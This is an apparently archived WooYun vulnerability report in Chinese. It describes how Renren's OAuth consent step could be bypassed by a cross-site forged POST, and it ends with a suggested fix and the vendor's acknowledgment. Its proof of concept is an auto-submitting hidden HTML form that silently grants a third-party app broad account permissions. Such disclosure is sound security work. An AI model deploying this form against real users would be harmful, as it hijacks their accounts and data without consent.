当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-015662

漏洞标题:人人网开放平台第三方应用oauth强制授权漏洞

相关厂商:人人网

漏洞作者: 小点兵

提交时间:2012-12-05 18:29

修复时间:2013-01-19 18:29

公开时间:2013-01-19 18:29

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-12-05: 细节已通知厂商并且等待厂商处理中
2012-12-06: 厂商已经确认,细节仅向厂商公开
2012-12-16: 细节向核心白帽子及相关领域专家公开
2012-12-26: 细节向普通白帽子公开
2013-01-05: 细节向实习白帽子公开
2013-01-19: 细节向公众公开

简要描述:

利用此漏洞,在人人网开放平台注册的第三方应用可以跳过询问用户是否授权的页面,而直接拿到用户的授权。由于跳过了询问用户授权界面,恶意第三方可以直接骗取最高授权,从而可以访问用户敏感信息,访问用户好友信息,冒充用户发布日志,分享等。具体可用非法操作可参见http://wiki.dev.renren.com/wiki/API

详细说明:

正常的oauth授权流程应符合如下几个步骤(假设人人网用户已经登录):
1,在http://app.renren.com/点击应用
2,访问应用网址,比如:http://www.friendoc.net/friendoc/v3.1/
3, 应用从定向用户到询问是否授权网页,比如 http://graph.renren.com/oauth/grant?client_id=c6e5f5a7b7754fcbb9b1f3ae41d290ee&redirect_uri=http%3A%2F%2Fwww.friendoc.net%2Ffriendoc%2Fv3.1%2Floading.php&response_type=code&display=iframe&scope=read_user_status+create_album+read_user_album+photo_upload+read_user_photo+read_user_blog+read_user_feed+read_user_guestbook+read_user_comment+send_request+publish_comment+publish_checkin&state=200&origin=0 , 询问用户是否授权。此页面详细描述是向什么应用授予什么权限,以帮助用户做出选择
4, 用户点击授权按钮,浏览器向授权服务器http://graph.renren.com/oauth/grant 发送相应的同意授权信息 (POST命令)
5,应用获得授权
此漏洞在于恶意的应用可以在第2步后直接忽略第3步,而执行第4步,因此在未得到用户同意(用户不知情)的情况下,拿到用户的授权。由于少了第3步的保护,用户会在不知情的情况下授权,攻击者拿到授权后,就可以以用户的名义在天涯微博上发布信息,欺骗用户的朋友以获取利益

漏洞证明:

将下面这段代码加入某个人人网嵌入某个链接,然后再人人网中发布诱骗其他用户点击,则应用“好友档案”将强制被骗用户授予scope="read_user_status create_album read_user_album photo_upload read_user_photo read_user_blog read_user_feed read_user_guestbook read_user_comment send_request publish_comment publish_checkin"的权限。注意,任何其他应用都可以做类似的事情。攻击者可以随便注册应用,然后构造类似的form去骗取用户的授权。
人人网支持的API权利还是蛮大的
<form name="form1" action="http://graph.renren.com/oauth/grant" method="POST">
<input type="hidden" name="follow" value="true"/>
<input type="hidden" name="authFeed" value="true"/>
<input type="hidden" name="porigin" value="80104"/>
<input type="hidden" name="redirect_uri" value="http://www.friendoc.net/friendoc/v3.1/loading.php"/>
<input type="hidden" name="client_id" value="c6e5f5a7b7754fcbb9b1f3ae41d290ee"/>
<input type="hidden" name="response_type" value="code"/>
<input type="hidden" name="scope" value="read_user_status create_album read_user_album photo_upload read_user_photo read_user_blog read_user_feed read_user_guestbook read_user_comment send_request publish_comment publish_checkin"/>
<input type="hidden" name="state" value="200"/>
<input type="hidden" name="display" value="iframe"/>
<input type="hidden" name="post_form_id" value="abb488287369e5f274a6fcb9f5c6a480-30-1354700245435"/>
<input type="hidden" name="authorizeOrigin" value="0"/>
</form>
<script type="text/javascript">
document.form1.submit();
</script>

renren.jpg

修复方案:

建议在第3步用户访问的页面中加入随机码,在用户提交同意授权的表单中,需要同时提交这个随机码(或者用户cookie),以保证这个提交表单确实是用户同意的
后者在第4步提交post时,确认referer选项

版权声明:转载请注明来源 小点兵@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2012-12-06 12:24

厂商回复:

感谢对人人网的关注,辛苦了

最新状态:

暂无